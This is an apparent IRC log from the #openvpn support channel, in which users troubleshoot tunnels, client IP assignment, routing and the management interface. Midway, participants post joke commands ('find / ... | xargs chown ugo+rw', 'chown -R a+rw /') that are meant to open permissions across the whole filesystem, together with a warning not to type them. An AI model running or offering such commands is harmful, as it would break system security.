17:47 <+pekster> !learn dd-wrt as Firewall "oopsie": http://www.dd-wrt.com/phpBB2/viewtopic.php?t=35783
17:47 <@vpnHelper> Joo got it.
17:48 <+pekster> sudomakemesandwi: Read !clientlan
17:49 < duoi> pekster: it's one of those situations where it 'just works' for what i need it to do. If I was using it for more than anything else than an openvpn client I'd probably look towards openwrt.
17:49 <+pekster> Yet they're shipping 2.1.x? heh..
17:49 < sudomakemesandwi> i have vpn server elsewhere. ddwrt could potentially be a client though
17:50 <+pekster> If you have the choice, go buy non-closed hardware that can run openwrt; I've done several recent deployments for clients using Netgear WNDR3800's and they work great
17:51 < duoi> I'm not sure what they're shipping. Because the router has little NVRAM (64kb), DD-WRT disables the OpenVPN functionality. I have to manually script the connection and provide the relevant libraries.
17:52 < duoi> ..which I have done. It's just that the current version I'm using is the only one I found by someone who had a similar issue, and it's a very old build.
17:57 < duoi> (it also only has 4mb flash, which is a limiting factor: dd-wrt demands at least 8mb)
18:06 < piece3> Hi all, Every time my client reboots, I have to make a tap again with the "openvpn --mktun --dev tap1" command, is there a way to force this at every boot?
18:14 < dropje> piece3: http://openvpn.net/index.php/open-source/documentation/miscellaneous/76-ethernet-bridging.html#linuxscript
18:14 <@vpnHelper> Title: Ethernet Bridging (at openvpn.net)
18:20 < piece3> dropje: I had read that but forgot, thanks, I've now added it to my init script, I don't know why I didn't need to do that on the server side, it pserists the taps over boots
18:26 < dropje> piece3: it shouldn't ;) Unless you're running windows i think
18:26 < piece3> dropje: Ok, I'll add the script to the server as well
18:30 < dropje> piece3: i've created a different script though.. using the OS tools (debian in my case) to create the bridge
18:30 < dropje> so the bridge is already there and up on boot with the proper configured physical interface attached
18:30 < piece3> dropje: Thanks, I've also created a custom up scipt
18:30 < dropje> piece3: yw
18:30 < piece3> dropje: I'm also using debian
18:31 < piece3> dropje: Do you mind me asking which tools you used?
18:35 < dropje> http://pastebin.com/pDa7SN2P the place where i've put the bridge.sh up script in init.d is in the "start_vpn" function
18:35 < dropje> ofcourse in the "stop_vpn" function there is the the same script with the "stop" argument
18:37 -!- SupaYoshi [~SupaYoshi@ip4da5d319.direct-adsl.nl] has joined #openvpn
18:42 < piece3> dropje: Thanks, very much appreciated
18:44 < dropje> you're welcome.. i'm off to bed, good night
18:44 < piece3> dropje: Good night
18:55 -!- SupaYoshi [~SupaYoshi@ip4da5d319.direct-adsl.nl] has quit [Ping timeout: 252 seconds]
18:55 -!- s7r [~s7r@openvpn/user/s7r] has quit [Remote host closed the connection]
18:56 -!- s7r [~s7r@openvpn/user/s7r] has joined #openvpn
18:56 -!- mode/#openvpn [+v s7r] by ChanServ
19:01 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: sleep]
19:15 -!- akurilin [~akurilin@208.185.21.146] has joined #openvpn
19:21 -!- batrick [batrick@nmap/developer/batrick] has joined #openvpn
19:21 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Ping timeout: 240 seconds]
19:21 -!- tech-four-nine [~ma1com10t@host-92-20-11-49.as13285.net] has left #openvpn []
19:24 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
19:45 < hjohnson> damnit.. why isn't my linux box actually routing the packets...
19:59 -!- goldkatze [~nobody@unaffiliated/goldkatze] has quit []
20:26 -!- michaelhart [~michaelha@162.209.54.120] has joined #openvpn
20:27 -!- michaelhart [~michaelha@162.209.54.120] has quit [Client Quit]
20:27 -!- michaelhart [~michaelha@162.209.54.120] has joined #openvpn
20:57 -!- dandyd [~dandysyni@cpe-65-28-239-161.woh.res.rr.com] has joined #openvpn
21:03 -!- Moonlightning [~blackl@unaffiliated/moonlightning] has joined #openvpn
21:04 < Moonlightning> So I have OpenVPN Connect set up. When it's connected, though, the Play Store breaks. I was trying to install another app and it got stuck loading the permissions.
21:04 < Moonlightning> I went back to OpenVPN and disconnected it, and the Store worked fine.
21:07 < rob0> "OpenVPN Connect"? Is that the AS client?
21:07 < rob0> !as
21:07 <@vpnHelper> "as" is please go to #OpenVPN-AS for help with Access-Server
21:07 < rob0> We don't use nor support the proprietary software.
21:10 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has joined #openvpn
21:11 < Moonlightning> 6_9
21:11 < Moonlightning> Okay.
21:14 -!- WinstonSmith_ [~WinstonSm@bl5-137-208.dsl.telepac.pt] has quit [Ping timeout: 260 seconds]
21:14 -!- dandyd [~dandysyni@cpe-65-28-239-161.woh.res.rr.com] has quit [Ping timeout: 265 seconds]
21:20 -!- piece3 [~quassel@14.161.15.21] has quit [Read error: No route to host]
21:21 -!- piece3 [~quassel@14.161.15.21] has joined #openvpn
21:22 -!- duoi [~duoi@46.21.151.107] has quit [Ping timeout: 252 seconds]
21:22 -!- duoi [~duoi@d110-32-247-67.bla800.nsw.optusnet.com.au] has joined #openvpn
21:28 -!- duoi [~duoi@d110-32-247-67.bla800.nsw.optusnet.com.au] has quit [Remote host closed the connection]
21:29 -!- duoi [~duoi@d110-32-247-67.bla800.nsw.optusnet.com.au] has joined #openvpn
21:41 <@krzee> rob0, to further confuse things, openvpn connect is also the name of the IOS client
21:41 <@krzee> and one of the android clients
21:49 -!- moparisthebest [~quassel@mailer.moparscape.org] has quit [Ping timeout: 245 seconds]
21:53 < Moonlightning> …wait.
21:53 < Moonlightning> So you /do/, or you /don't/, support the Android client?
21:53 < Moonlightning> The author actually sticks around in this channel…
21:53 < Moonlightning> https://play.google.com/store/apps/details?id=net.openvpn.openvpn  # this Android client.
21:54 <@krzee> we do support the android client
21:54 <@krzee> although i only use "openvpn for android"
21:54 <@krzee> and the author of that is probably who you were thinking of
21:56 <@krzee> the confusion is that "openvpn connect" is also the name of the windows client which is ONLY for access-server
21:56 < Moonlightning> No, that's https://play.google.com/store/apps/details?id=de.blinkt.openvpn
21:56 <@krzee> yes, that is the client i use
21:57 <@krzee> and plaisthos is the author of it (an op and active dev)
21:57 <@krzee> whereas "openvpn connect" has no "author" other than openvpn technologies
21:59 <@krzee> "openvpn connect" for android is a full rewrite of openvpn, whereas "openvpn for android" is the community version + android gui + android vpn API
22:00 -!- dropje [~yge@ip4da6274e.direct-adsl.nl] has quit [Read error: Connection reset by peer]
22:01 -!- dropje [~yge@ip4da6274e.direct-adsl.nl] has joined #openvpn
22:17 < Moonlightning> Is there a way to make get the app out of the notification shade? :(
22:20 -!- moparisthebest [~quassel@mailer.moparscape.org] has joined #openvpn
22:22 -!- duoi [~duoi@d110-32-247-67.bla800.nsw.optusnet.com.au] has quit [Ping timeout: 252 seconds]
22:22 -!- duoi [~duoi@46.21.151.107] has joined #openvpn
23:00 < Moonlightning> guess not.
23:00 < Moonlightning> Darn system restrictions.
23:00 < Moonlightning> Wish I could whitelist these apps so they didn't have to have annoying notifications
23:03 < Moonlightning> Anyway, the DNS doesn't seem to be working on my phone. I have my laptop on the VPN, and I can quickly ssh to other machines on the VPN with `ssh ${hostname}.vpn` or even just `ssh $hostname`, but that's not resolving on my phone.
23:07 < Moonlightning> actually, connections over the VPN don't seem to be working at all
23:16 < Moonlightning> The server's log and routing table shows that my phone is connected to the VPN
23:16 < Moonlightning> But I can't ping it
23:16 < Moonlightning> And I can't ssh from it over the VPN
23:17 <@krzee> ya i dont think you can push dns to android like that
23:18 <@krzee> you could make a script, but i cant tell you if that will work well or if android will just overwrite it
23:18 <@krzee> if you decide to test that, getprop/setprop are the commands you want, they work similar to sysctl kinda
23:19  * Moonlightning nods.
23:19 < Moonlightning> Thanks.
23:20 < Moonlightning> What about the general—oh, wait.
23:20 <@krzee> !pushdns
23:20 <@vpnHelper> "pushdns" is (#1) push "dhcp-option DNS a.b.c.d" to push dns to the client or (#2) http://thread.gmane.org/gmane.network.openvpn.user/25139/focus=25147 see that mail archive for some info on pushing dns or (#3) http://article.gmane.org/gmane.network.openvpn.user/25149 for a perm fix via regedit or (#4) in unix you'll use the update-resolv-conf script or (#5) also
23:20 <@vpnHelper> http://comments.gmane.org/gmane.network.openvpn.user/31975 reports --register-dns as fixing their problems pushing DNS to windows 7
23:20 < Moonlightning> I think that might be related to the fact that my phone is getting the wrong IP
23:20 <@krzee> only windows takes dns settings automagically
23:20 < Moonlightning> …errr…no…it works on my Mac
23:20 <@krzee> oh right tunnelblick did include scripts
23:20 < Moonlightning> But anyway…
23:20 <@krzee> but behind the scenes they are using scripts, its not openvpn doing it
23:21 < Moonlightning> My phone's getting an IP on the wrong subnet of the VPN; can you help me with that?
23:21 <@krzee> !static
23:21 <@vpnHelper> "static" is (#1) use --ifconfig-push in a ccd entry for a static ip for the vpn client or (#2) example in net30 (default): ifconfig-push 10.8.0.6 10.8.0.5 example in subnet (see !topology) or tap (see !tunortap): ifconfig-push 10.8.0.5 255.255.255.0 or (#3) also see !ccd and !iporder or (#4) when pushing static IPs, you should also limit your --ifconfig-pool to exclude the static range
23:21 < Moonlightning> I have a file in /etc/openvpn/clients for it, just like all the other clients
23:21 < Moonlightning> Yeah, I /did/ that.
23:21 <@krzee> prolly typo
23:21 < Moonlightning> Nope.
23:22 <@krzee> fine, pastebin it all
23:22 <@krzee> !configs
23:22 <@vpnHelper> "configs" is (#1) please pastebin your client and server configs (with comments removed, you can use `grep -vE '^#|^;|^$' server.conf`), also include which OS and version of openvpn. or (#2) dont forget to include any ccd entries or (#3) on pfSense, see http://www.secure-computing.net/wiki/index.php/OpenVPN/pfSense to obtain your config
23:22 < Moonlightning> Okay. Hang on.
23:32 < Moonlightning> server: https://pastee.org/4vg4t
23:32 < Moonlightning> client: https://pastee.org/n556a
23:33 < Moonlightning> The one-line file for the client in the CCD: ifconfig-push 10.66.172.6 255.255.254.0
23:34 <@krzee> why would you be pushing such a large vpn subnet>
23:34 <@krzee> ?
23:34 <+pekster> A /23 isn't really "that" large ;)
23:34  * Moonlightning shrugs. “Why not?”
23:34 <@krzee> it is for openvpn
23:34 <+pekster> Depends completely on use-case really
23:35 -!- moparisthebest [~quassel@mailer.moparscape.org] has quit [Ping timeout: 245 seconds]
23:35 <+pekster> I've had 1k clients connected with crappy hardware and idle they didn't even eat all the CPU (the largest burden was on the 200 pps TLS keepalive traffic -- that load could have been reduced with longer ping intervals)
23:35 < Moonlightning> There's only about half a dozen clients, but the IPs are somewhat symbolic and I'd rather not change them all around right now >.<
23:36 <@krzee> so what ip is your phone getting?
23:36 < Moonlightning> 10.66.173.2
23:37 <+pekster> Your netamask might be causing problems there
23:37 <@krzee> likely not reading the ccd file
23:37 <@krzee> oh or that
23:37 <@krzee> ild be sure the ccd file is being read though
23:37 < Moonlightning> hmm?
23:37 <+pekster> Manpage says "tap-style", and tun+subnet (the topology subnet) is "tap-style", possibly
23:37 <@krzee> could be a permission issue or typo in the common-name or filename
23:38 <+pekster> You probably just want to omit the netmask TBH. And yes, bump --verb level to 4 and check that ccd is being read
23:38 < Moonlightning> …
23:38 < Moonlightning> -rw-r----- 1 root root   40 Nov  9 09:00
23:38  * Moonlightning headdesks so. hard.
23:38 < Moonlightning> all that because I didn't chown
23:38 <@krzee> it happens
23:39 <@krzee> at least you messed up permissions the right way
23:39 < Moonlightning> Heh.
23:39 <@krzee> as opposed to the people too loose with them ;]
23:40 <+pekster> find / -print0 | xargs -0 chown ugo+rw '{}'
23:40 <@krzee> or chown -R
23:40 <+pekster> (and no, if you don't know what that does you really shouldn't type it)
23:40 < Moonlightning> I can see :)
23:41 < Moonlightning> chown -R a+rw /
23:41 <+pekster> I figured you would; that was more a warning for anyone idle who things it's a smart move
23:41 < Moonlightning> xD
23:41 <+pekster> Spelling gets  better after my _next_ beer. Or something
23:42 <+pekster> xargs does clever things by passing lots of arguments to the command at once though
23:42 <+pekster> I haven't timed something that stupid (maybe I should in a VM some day -- or after a couple more beers) but I suspect find .. | xargs .. is faster
23:43 <+pekster> xargs is a bit like awk; it seems mysterious until you take the time to learn it and realize how useful it is
23:43 <@krzee> ahh thats why you chose xargs over find's -exec
23:43 <+pekster> Take this snippit, for instance: `find ./ -type d | xargs chown go+rwx; find ./ -type f | xargs chown go+rw` -- that keeps files from getting +x set
23:43 -!- moparisthebest [~quassel@mailer.moparscape.org] has joined #openvpn
23:44 < Moonlightning> nope, still bad IP
23:44 <+pekster> I should probably make a cute function or alias for my shells that does a variation of that (with runtime-specified dir & group/perms, of course)
23:44 < Moonlightning> How do I reload the server config without restarting?
23:44 < Moonlightning> the initscript reload actually restarts
23:44 < Moonlightning> IIRC, SIGHUP does too
23:44 <@krzee> Moonlightning, change to verb 4 and post the serverlog of the client config
23:44 <+pekster> ccd requires no reload; otherwise you'll need to restart
23:44 <@krzee> restart it
23:44 < Moonlightning> I just `chown`ed the ccd file
23:44 < Moonlightning> no reload required, right?
23:44 <@krzee> right
23:44  * Moonlightning doesn't want to restart :(
23:45 <+pekster> If that's all you did, yes
23:45 < Moonlightning> Okay. ^^
23:45 <@krzee> except you want verb 4
23:45 <@krzee> so you DO want to restart
23:45 < Moonlightning> D:
23:45 <@krzee> you dont troubleshoot at verb 2
23:45 < Moonlightning> Okay. x.x
23:45 <+pekster> Add a management interface then too; you can change verb level via management ;)
23:45 <@krzee> good call ^
23:46 < Moonlightning> !management
23:46 <@vpnHelper> "management" is (#1) see http://openvpn.net/management for doc on management interface or (#2) read http://svn.openvpn.net/projects/openvpn/obsolete/BETA21-preauto/openvpn/management/management-notes.txt if you are a programmer making a GUI that will interact with OpenVPN
23:47 <+pekster> !learn management as Enable with `--management 127.0.0.1 1234` (adjust port to taste.) See the manpage for pw and socket options
23:47 <@vpnHelper> Joo got it.
23:47 < Moonlightning> what manual page?
23:48 <+pekster> !man
23:48 <@vpnHelper> "man" is (#1) For man pages, see http://openvpn.net/index.php/open-source/documentation/manuals/ or (#2) the man pages are your friend! or (#3) Protip: you can search the manpage for a specific --option (with dashes) to find it quicker
23:48 <+pekster> Unix `manpages` are program documentation prepared for viewing with the man(1) command. See man's manpage for details :P
23:50 < Moonlightning> *nix domain socket, how do?
23:50 < Moonlightning> Is that just a fifo?
23:51 -!- moparisthebest [~quassel@mailer.moparscape.org] has quit [Ping timeout: 245 seconds]
23:51 -!- moparisthebest [~quassel@mailer.moparscape.org] has joined #openvpn
23:52 <+pekster> No.. it's a socket
23:52 <+pekster> See socket(2)
23:53 <+pekster> An IP/port tupple is also a socket, but in this case the implied meaning is a unix socket, AF_UNIX
23:54 <+pekster> vs, say, AF_INET for a tcp listener bound to the management interface
23:54 < Moonlightning> grrrrrrr
23:54 < Moonlightning> do they persist on the filesystem or what?
23:55 < Moonlightning> and how do I /make/ one?
23:55 <+pekster> Yea, and openvpn takes care of making it
23:55 < Moonlightning> Oh, okay.
23:56 <+pekster> Otherwise, go read unix(7) for the programatic reference
23:56 < Moonlightning> So…no way to reload the config without my connections dying?
23:56 <+pekster> Nope
23:56 < Moonlightning> :(
23:57 < Moonlightning> will that ever be added?
23:57 <+pekster> You can SIGHUP (which re-reads config) but dumps connections too
23:57 <+pekster> No, becuase config changes can't always be done without a complete re-init
23:57 <+pekster> For the few things that can, the management interfaces supports most, if not all of them (like verbostiy level changes)
23:58 <+pekster> Think options like changing the key that's loaded into memory; that's done on startup, so you can't "also do it later"
--- Day changed Sun Nov 17 2013
00:01 < Moonlightning> Can't you make SIGHUP reload what can be changed, and log errors about the rest?
00:01 < Moonlightning> Or make /some/ signal do that
00:04 < Moonlightning> my computer's not reconnecting D:
00:06 -!- cyberspace- [20253@ninthfloor.org] has quit [Remote host closed the connection]
00:07 < Moonlightning> There. Fixed.
00:09 -!- cyberspace- [20253@ninthfloor.org] has joined #openvpn
00:09 < Moonlightning> So how do I use this managment socket?
00:17 < Moonlightning> Never mind, I got it
00:35 <+pekster> Re: selective reload: not really, not without lots _lots_ of code changes
00:35 <+pekster> And it's all worthless anyway since the management interface can do that today
00:38 -!- Cy-Gor [~Brian@cpe-70-124-70-140.austin.res.rr.com] has quit [Quit: Leaving]
01:09 -!- akurilin [~akurilin@208.185.21.146] has quit [Quit: Leaving]
02:10 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has joined #openvpn
02:33 -!- dazo_afk is now known as dazo
02:48 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has quit [Quit: Computer has gone to sleep.]
02:53 -!- clu5ter [~staff@unaffiliated/clu5ter] has quit [Ping timeout: 245 seconds]
02:55 -!- clu5ter [~staff@unaffiliated/clu5ter] has joined #openvpn
03:43 -!- speed_racer84 [~speed_rac@ip-173-45-222-229.wavevision.com] has quit [Ping timeout: 245 seconds]
03:47 -!- thefinn93 [~finn@gateway/tor-sasl/thefinn93] has quit [Remote host closed the connection]
03:49 -!- thefinn93 [~finn@gateway/tor-sasl/thefinn93] has joined #openvpn
04:22 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
04:49 -!- Perun_ [perun@chao5.net] has quit [Ping timeout: 245 seconds]
04:50 -!- Perun [perun@chao5.net] has joined #openvpn
05:13 -!- tech-four-nine [~ma1com10t@host-92-20-11-49.as13285.net] has joined #openvpn
05:15 < tech-four-nine> hi - is it possible to assign a different ip to a server tunnel if i use the "server" directive - IE can i use ifconfig to assign the server ip address of 10.8.0.254 for example ?
05:23 < tech-four-nine> ok - looks good
05:28 -!- elfixit [~Icedove@adsl-178-38-72-1.adslplus.ch] has joined #openvpn
05:31 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has joined #openvpn
05:41 < tech-four-nine> hmm .. maybe not
05:43 < tech-four-nine> basically is there a way to override the way "server" is expanded so that I can choose a different ip for server ?
05:43 < tech-four-nine> i am trying :
05:43 < tech-four-nine> mode server
05:44 < tech-four-nine> topology subnet
05:44 < tech-four-nine> ifconfig 10.8.0.14 255.255.255.240
05:44 < tech-four-nine> this configs the server ok
05:49 < tech-four-nine> ok - it was the ccd ifconfig-push was wronmg
06:14 -!- Z6 [~z6@unaffiliated/z6] has joined #openvpn
06:14 < linuxthefish> error:0906D06C:PEM routines:PEM_read_bio:no start line: error:140AD009:SSL routines:SSL_CTX_use_certificate_file:PEM lib
06:14 -!- wildcat [~tomh@unaffiliated/wildcat] has left #openvpn []
06:14 < linuxthefish> what is this error means?
06:15 -!- zedsix [~z6@unaffiliated/z6] has quit [Ping timeout: 260 seconds]
06:19 < linuxthefish> and why does .conf need renaming to .ovpn?
06:19 < linuxthefish> it's much better now but i have new error...
06:19 < linuxthefish> Sun Nov 17 12:19:29 2013 TEST ROUTES: 0/0 succeeded len=1 ret=0 a=0 u/d=down
06:19 < linuxthefish> Sun Nov 17 12:19:29 2013 Route: Waiting for TUN/TAP interface to come up...
06:32 -!- calcifea [~rasla@gateway/tor-sasl/gitsu-sa] has joined #openvpn
06:37 < Mike--> Hi, if I want to allow the corporate network to initiate new connections to the vpn client
06:37 < Mike--> is there an easy setting?
06:42 -!- elfixit [~Icedove@adsl-178-38-72-1.adslplus.ch] has quit [Ping timeout: 252 seconds]
06:43 -!- elfixit [~Icedove@adsl-178-38-72-1.adslplus.ch] has joined #openvpn
06:48 -!- elfixit [~Icedove@adsl-178-38-72-1.adslplus.ch] has quit [Ping timeout: 272 seconds]
06:49 -!- elfixit [~Icedove@adsl-178-38-72-1.adslplus.ch] has joined #openvpn
06:56 -!- elfixit [~Icedove@adsl-178-38-72-1.adslplus.ch] has quit [Ping timeout: 252 seconds]
06:57 -!- elfixit [~Icedove@xdsl-31-164-121-133.adslplus.ch] has joined #openvpn
07:03 -!- NET||abuse [~luke@86.6.148.64] has quit [Read error: Operation timed out]
07:04 < Moonlightning> Mike--: for that to happen, the server has to be able to contact the client.
07:04 < Moonlightning> Meaning, the client has to either have an Internet-facing IP, be on the same local network as the server, or you have to set up a port-forwarding thing and tell the server to use a specific IP and port
07:05 < Moonlightning> In all of those cases, the client would need to have|be behind a static IP
07:05 < Moonlightning> IMO, it's generally much easier to set up the client to always be connected to the VPN whenever it has a connection to the Internet.
07:06 < Mike--> ok
07:06 < Mike--> I have 10 subnets after a openvpn server
07:06 < Mike--> a client connects from $somewhere
07:06 < Mike--> gets an ip adres form a range
07:06 < Mike--> I want to be able to connect to that ip adres
07:06 < Mike--> from the internal subnets
07:08 < Mike--> nvm
07:08 < Mike--> already works
07:08 < Moonlightning> xD
07:08 < Mike--> firewall was blocking icmp
07:08 < Moonlightning> That's the point of a VPN, yes? :)
07:11 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has quit [Quit: Computer has gone to sleep.]
07:19 -!- NET||abuse [~luke@86.6.148.64] has joined #openvpn
07:28 -!- Serano [~serano@rooty.be] has quit [Ping timeout: 260 seconds]
07:30 -!- michaelhart [~michaelha@162.209.54.120] has quit [Quit: michaelhart]
07:32 -!- duoi [~duoi@46.21.151.107] has quit [Ping timeout: 272 seconds]
07:33 -!- Serano [~serano@rooty.be] has joined #openvpn
08:05 -!- rhagu [~Johannes@dslb-088-065-056-149.pools.arcor-ip.net] has joined #openvpn
08:06 < rhagu> hi, I just set up an openvpn server on my home network, but connections are very slow so I thought about renting a vserver and use for my openvpn server and gateway to the internet. Is it secure to do something like this? I mean the hoster can have a look at my virtual machine (kvm) can't he?
08:07 <@krzee> sure he can
08:08 < rhagu> I thought so, thanks for the answer
08:08 <@krzee> yw
08:09 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has joined #openvpn
08:17 -!- xrosnight [~quassel@58.250.10.6] has joined #openvpn
08:18 -!- xrosnight [~quassel@58.250.10.6] has quit [Changing host]
08:18 -!- xrosnight [~quassel@unaffiliated/xrosnight] has joined #openvpn
08:19 -!- cpm [~Chip@pdpc/supporter/active/cpm] has joined #openvpn
08:22 -!- Z6 [~z6@unaffiliated/z6] has quit [Ping timeout: 265 seconds]
08:22 -!- Z6 [~z6@unaffiliated/z6] has joined #openvpn
08:33 < rhagu> another question: I have two clients with a high bandwith internet connection and the server with a low bandwith connection, when I do file transfer between the two clients, will it be routed over the server, or does it open a connection between the two clients?
08:36 < Moonlightning> It will route over the server.
08:36 < Moonlightning> Similarly, in a LAN, connections go through the router, rather than directly from one client to another.
08:37 < rhagu> thanks for the answer
08:37 < Moonlightning> Sure. :)
08:38 < Moonlightning> I have a question of my own: In server mode, --ping-restart will attempt to reconnect to the client, but not restart the whole server. Similarly, --ping-exit will disconnect the client, not shut down the server itself, right?
08:49 -!- elfixit [~Icedove@xdsl-31-164-121-133.adslplus.ch] has quit [Quit: elfixit]
08:51 -!- rhagu1 [~Johannes@dslb-088-065-056-149.pools.arcor-ip.net] has joined #openvpn
08:52 < tech-four-nine> no --ping-exit quits openvpn
08:52 < tech-four-nine> --ping-restart restarts openvpn
08:53 -!- rhagu [~Johannes@dslb-088-065-056-149.pools.arcor-ip.net] has quit [Ping timeout: 245 seconds]
08:54 < tech-four-nine> however these pings are internal to openvpn and do not count as traffic so --inactive does not count them
08:55 -!- moparisthebest [~quassel@mailer.moparscape.org] has quit [Remote host closed the connection]
08:59 -!- moparisthebest [~quassel@mailer.moparscape.org] has joined #openvpn
09:03 -!- xrosnight [~quassel@unaffiliated/xrosnight] has quit [Ping timeout: 252 seconds]
09:04 -!- Cy-Gor [~Brian@cpe-70-124-70-140.austin.res.rr.com] has joined #openvpn
09:07 -!- moparisthebest [~quassel@mailer.moparscape.org] has quit [Ping timeout: 245 seconds]
09:08 -!- moparisthebest [~quassel@mailer.moparscape.org] has joined #openvpn
09:11 < Moonlightning> tech-four-nine: --ping-restart in server mode only restarts a single connection to a client.
09:11 < tech-four-nine> yes - you are infact right
09:11 < tech-four-nine> sorry my mistake
09:12 < Moonlightning> So does --ping-exit in server mode only disconnect the one client?
09:12 < tech-four-nine> hmm .. good question .. will have to test it
09:14 < Moonlightning> > Inactivity timeout (--ping-restart), restarting
09:14 -!- cpm [~Chip@pdpc/supporter/active/cpm] has quit [Ping timeout: 248 seconds]
09:14 < Moonlightning> If a client doesn't reply to pings, wouldn't it be better to just disconnect and let the client handle reconnecting if it is actually still online?
09:15 < tech-four-nine> I believe that is what --ping-restart means
09:15 < tech-four-nine> the question is now what does --ping-exit do
09:15 < Moonlightning> From the server side?
09:15 < tech-four-nine> yes
09:15 < tech-four-nine> it does seem over kill to exit an entire server on account of one client
09:17 < tech-four-nine> my initial read of the manual suggest --ping-exit will exit the server on account of one client not reponding
09:18 < Moonlightning> Then again…
09:18 -!- Devastator [~devas@186.214.15.39] has quit [Changing host]
09:18 -!- Devastator [~devas@unaffiliated/devastator] has joined #openvpn
09:19 < Moonlightning> > In server mode, --ping-restart, --inactive, or any other type of internally generated signal will always be applied to individual client instance  objects,  never to whole server itself.  Note also in server mode that any internally generated signal which would normally cause a restart, will cause the deletion of the client instance object instead.
09:19 < Moonlightning> …oh.
09:19 < Moonlightning> Silly me.
09:19 < Moonlightning> So server --ping-restart /does/ just disconnect the client.
09:19 < tech-four-nine> yep
09:27 -!- NET||abuse [~luke@86.6.148.64] has quit [Ping timeout: 272 seconds]
09:27 -!- dazo is now known as dazo_afk
09:33 -!- calcifea [~rasla@gateway/tor-sasl/gitsu-sa] has quit [Quit: calcifea]
09:38  * krzee sees someone reading the manual
09:39 <@krzee> o/    ;]
09:45 < Moonlightning> XD
09:46 < tech-four-nine> you know it =]
09:47 < Moonlightning> …oh.
09:47 < Moonlightning> Now my phone has the right IP
09:47 < Moonlightning> Huh.
09:47 < Moonlightning> Well, thank you, krzee and pekster ^^
09:48 <@krzee> yw
09:52 < Moonlightning> Hmm, I still can't seem to ping though
09:52 <@krzee> did you give the clients in the other subnet a route to reach the vpn server?
09:52 <@krzee> since they happen to be in different subnets...
09:52 < Moonlightning> Wait…
09:52 < Moonlightning> My phone's not in the routing table.
09:52 < Moonlightning> Even though the app says it's connected? 6_9
09:53 <@krzee> sure, you wanted to do it all manually
09:53 < Moonlightning> grrr, client-side tun issues
09:53 <@krzee> so you gotta give them routes to eachother
09:53 <@krzee> since they arent in the same subnet
09:53 < Moonlightning> They're /supposed/ to be in the same subnet.
09:53 <@krzee> oh lemme look again then
09:54  * Moonlightning just reboots, it's easier.
09:55 <@krzee> oh yes they are in the same subnet, i see that now
09:55 <@krzee> route 10.66.172.0 255.255.254.0 10.66.172.1
09:55 <@krzee> remove the last field
09:55 <@krzee> just route 10.66.172.0 255.255.254.0
09:55 < Moonlightning> Hmm? Why?
09:55 <@krzee> and push route "route 10.66.172.0 255.255.254.0"
09:55 <@krzee> cause it will default to "over the vpn"
09:56 < Moonlightning> That's what I want, though…?
09:56 <@krzee> if i said to do it, shouldnt you at least try it?
09:57 <@krzee> and push "route 10.66.172.0 255.255.254.0"
09:58 < Moonlightning> I guess? I like to understand what I'm doing though.
09:59 <@krzee> not sure what you didnt get about what i said
09:59 < Moonlightning> > remove the default-gateway field from --route
09:59 -!- moparisthebest [~quassel@mailer.moparscape.org] has quit [Read error: Connection reset by peer]
09:59 <@krzee> you need a gateway to the route command when you DONT want it to go over the vpn, when you do you can leave it out
10:00 < Moonlightning> Ohhh, okay.
10:00 < Moonlightning> Sorry. XD
10:00 <@krzee> dont be, its good you want to understand
10:01 <@krzee> so did you do the 2 things i said?
10:01 -!- acu [~acu@107.128.131.129] has joined #openvpn
10:02 < Moonlightning> remove the last field from --route, and add `--push "route 10.66.172.0 255.255.254.0"`. Yep.
10:02  * Moonlightning restarts.
10:04 -!- moparisthebest [~quassel@mailer.moparscape.org] has joined #openvpn
10:04 < Moonlightning> It's normally back up after a few seconds, right?
10:04 < Moonlightning> Or am I just being too impatient? XD
10:04 < Moonlightning> gah, server died again.
10:04 <@krzee> it comes back according to your ping restart options
10:05 < Moonlightning> I manually `SIGUSER1`ed the client on my computer
10:05 <@krzee> and not the server?
10:05 <@krzee> the server is what changed...
10:05 < Moonlightning> There we go. ^^
10:06 <@krzee> thats like changing the apache config and then restarting your web browser ;]
10:06 -!- Beanie [Beanie@bgareth.plus.com] has joined #openvpn
10:06 < Beanie> hi room
10:06 < Moonlightning> I know. I `SIGHUP`ped the server first, and then `SIGUSER1`ed the client, and was wondering why it wasn't back up.
10:07 < tech-four-nine> is that like the tail wagging the dog ?
10:07 < Beanie> I need to be able to access my server from a different city in order to technically manage it, I have a static IP, i'm presuming that VPN is the proper and only way to accomplish this?
10:07 < Moonlightning> My SIGHUP killed the server…apparently it can't reallocate the tun device 6_9
10:08 < Moonlightning> Beanie: you don't need a VPN unless the server's behind NAT and you want to avoid port forwarding
10:08 < Moonlightning> My main reason for having a VPN is to be able to ssh from any of my machines to any other, even the ones at home behind NAT. It works better than SSH tunnels have for me. ^^
10:09 < Beanie> how do I know if it is behind NAT? and thanks Moonlighting :)
10:09 < Beanie> the server is at home, it is fibre optic (if that makes any difference so I think it's classed as DSL)
10:09 < Moonlightning> If it's behind NAT, it won't have its own public IP, only a private one in the 10/8, 192.168/16, or 172.16/12 range
10:10 < tech-four-nine> Beanie : do you know what NAT is ?
10:10 < Beanie> oh right, mine is a domestic fibre optic internet connection, i've been given a static external ip, of course it also has its own internal ip on the network :)
10:10 < Moonlightning> external|public IP, vs. internal|private IP
10:10 < Moonlightning> same thing
10:10 < Beanie> as for NAT, I struggled when I was researching with getting my head round it tech-four-nine
10:11 < Moonlightning> If the server only has an internal IP, it's (most likely?) behind NAT.
10:11 < Beanie> ah yes the server is simply an old laptop :)
10:11 < tech-four-nine> Beanie: NAT is network address translation and it sounds very much like you have it
10:11 < Moonlightning> Lots of my “SSH server”s are too :)
10:12 < Beanie> awesome! It's cheap and chearful, I run a charitable project and it's run on a shoestring budget so i just used my old laptop
10:12 <@krzee> NAT has nothing to do with if you want a vpn
10:12 <@krzee> if nat is your only reason, learn to port forward
10:13 <@krzee> you want a vpn if you want a secure link between 2 machines
10:13 < Moonlightning> krzee: I have /double/ NAT. x.x
10:13 <@krzee> !vpn
